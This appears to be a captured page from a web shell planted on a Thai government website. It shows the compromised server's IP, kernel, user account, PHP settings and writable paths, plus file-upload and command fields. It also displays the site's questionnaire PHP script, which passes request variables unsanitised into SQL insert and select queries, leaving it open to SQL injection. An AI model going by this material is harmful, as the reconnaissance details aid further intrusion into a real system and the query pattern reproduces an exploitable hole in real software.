403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/question/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/question/questionnaire.php
<?php
import_request_variables('pG', 'p_');
$question_id = $p_question_id;
$_SESSION['question'][$question_id] = $p_user_ip;

$sel_q = "select * from cms_question where id_question = '$question_id'";
$que_q = mysql_query($sel_q);
$obj_q = mysql_fetch_assoc($que_q);

$navig['question&id_sub='.$p_id_sub] = $obj_q['topic'];
$navig['questionnaire'] = 'ส่งแบบสอบถาม';
navigator($navig);
echo"<br>";
bar_header('ส่งแบบสอบถาม'); // Bar_Header
fieldset_top($obj_q['topic']);

$_number = select_max_query0('header_id', 'cms_question_ansheader');
$number = $_number[0] == '' ? 1 : $_number[0];
$header_answer['header_id'] = $number;
$header_answer['question_id'] = $question_id;
$header_answer['user_ip'] = $p_user_ip;
$header_answer['datetime'] = date('d/m/Y H:i:s');
//debuga($header_answer);

$_ans_id = select_max_query0('answer_id', 'cms_question_answer');
$ans_id = $_ans_id[0] == '' ? 1 : $_ans_id[0];
foreach($_POST as $key => $value){
  if(strpos($key, 'data_') > -1){
    $arr = explode('_', $key);
    $type = $arr[1];
    if(in_array($type, array('1','5'))){
      $array_answer[$ans_id]['answer_id'] = $ans_id;
      $array_answer[$ans_id]['header_id'] = $number;
      $array_answer[$ans_id]['question_id'] = $question_id;
      $array_answer[$ans_id]['title_id'] = $arr[2];
      $array_answer[$ans_id]['type_id'] = $type;
      $array_answer[$ans_id]['parent_id'] = $arr[3];
      $array_answer[$ans_id]['answer'] = $value;
    }else if(in_array($type, array('2','4'))){
      $array_answer[$ans_id]['answer_id'] = $ans_id;
      $array_answer[$ans_id]['header_id'] = $number;
      $array_answer[$ans_id]['question_id'] = $question_id;
      $array_answer[$ans_id]['title_id'] = $arr[2];
      $array_answer[$ans_id]['type_id'] = $type;
      $array_answer[$ans_id]['parent_id'] = $arr[3];
      $array_answer[$ans_id]['answer'] = $value;
      if($type == '4' && isset($_POST['text_other_'.$value])){
        $text_other = $_POST['text_other_'.$value];
        $array_answer[$ans_id]['answer'] .= '::'.$text_other;
      }
    }else if($type == '3'){
      $array_answer[$ans_id]['answer_id'] = $ans_id;
      $array_answer[$ans_id]['header_id'] = $number;
      $array_answer[$ans_id]['question_id'] = $question_id;
      $array_answer[$ans_id]['title_id'] = $value;
      $array_answer[$ans_id]['type_id'] = $type;
      $array_answer[$ans_id]['parent_id'] = $arr[3];
      $array_answer[$ans_id]['answer'] = $arr[2];
      if(isset($_POST['text_other_'.$arr[2]])){
        $text_other = $_POST['text_other_'.$arr[2]];
        $array_answer[$ans_id]['answer'] .= '::'.$text_other;
      }
    }
    ++$ans_id;
  }
}
//debuga($array_answer);

$col_header = implode(', ', array_keys($header_answer));
$val_header = "'".implode("','", $header_answer)."'";
$ins_header = "insert into cms_question_ansheader ($col_header) values ($val_header)";
mysql_query($ins_header);
//echo '<br/><br/>';

foreach($array_answer as $id => $_array){
  $col_answer = implode(', ', array_keys($_array));
  $val_answer[$id] = "('".implode("','", $_array)."')";
}
$ins_answer = "insert into cms_question_answer ($col_answer) values ". implode(',', $val_answer);
mysql_query($ins_answer);

echo msg_insert_data();			// ข้อความแสดงการผลการเพิ่มข้อมูล
refresh_data('index.php', 2);	// กลับหน้าหลัก
?>

Youez - 2016 - github.com/yon3zu
LinuXploit